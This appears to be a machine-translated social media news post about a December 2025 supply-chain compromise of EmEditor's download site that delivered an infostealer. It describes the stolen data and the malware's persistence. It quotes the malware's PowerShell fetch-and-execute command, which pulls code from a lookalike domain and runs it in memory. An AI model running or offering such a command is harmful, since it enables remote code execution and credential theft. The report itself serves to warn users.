The official EmEditor website is a malware release base.
EmEditor's official website has been hacked for use as a malware release base.
Releasing malware on that victim multiple times is usually the use of phishing deception methods to make it downloaded from fake websites, but on occasion real websites can also be hacked for use in releasing malware.
According to a report by the website, Cyber Security News has mentioned the detection of a supply chain attack or Supply Chain Attacks through the hacking of the official website of the popular text editor EmEditor to release malware of the type of data theft from the victim's machine or Infostealer (whose source is not named) by hacking to redirect downloads from genuine download files to fake files with malware inserted instead. The notification of the campaign came from the developer EmEditor himself. The hacking occurred during the 19th. - December 22, 2025 (2025), which is only 4 days, but in 4 days, those who download the EmEditor version 25.4.3 through the Download Now button on the website are considered to be under risk because the downloaded file is a fake application.
The appearance of the installation file looks like a genuine installation file that is almost indistinguishable, but the digital signature on the file, rather than the company, belongs to a company that does not have a source like "WALSHAM INVESTMENTS LIMITED," which makes it a point to see exactly which files are real and which are fake. For this installation, a research team from Qianxin, a Chinese antivirus software developer, has also revealed that an embedded infostealer malware file (Embeded) has been detected on a fake installation file in VBScript code.
This code will be executed during the installation phase. This will lead to the PowerShell powershell.exe "irm emeditorjp.com | iex" running the malware code directly on the memory. Most local security tools are usually undetectable because there are no malware files left on the hard disk to check.
This unidentified malware has the ability to steal a lot of data. After installing it, the malware immediately starts stealing data from Chrome, Edge, Brave, and Opera web browsers. The data spans from Cookies files, website access information, and login information. It then steals application data for tasks used by organizations such as Discord, Slack, Zoom, Microsoft Teams, WinSCP, and PuTTY. This malware can cause significant damage to victims at the enterprise level. Moreover, the malware has the ability to steal access codes. Facebook Ad Account, Clipboard Data Control to Steal Data on Cryptokerrency, and Create Remote Control to Allow Hackers to Steal More Data Later
For the purpose of creating persistence for malware on the system, the malware uses the extension of the web browser called "Google Drive Caching" to log in to the victim's machine without permission after it is successfully embedded on the machine. This extension contains the Domain Generation Algorithm feature used to create a domain to contact the C2 or Command and Control server in a non-static way, making it very difficult to verify.
The developer has suggested that those who suspect that the machine has been infected with malware immediately cut off the Internet and start scanning the malware and change all the code on the machine for security.
# Trending # Lemon 8 Howtoo # Drug sign with lemon8 # lemon 8 diary # freedomhack
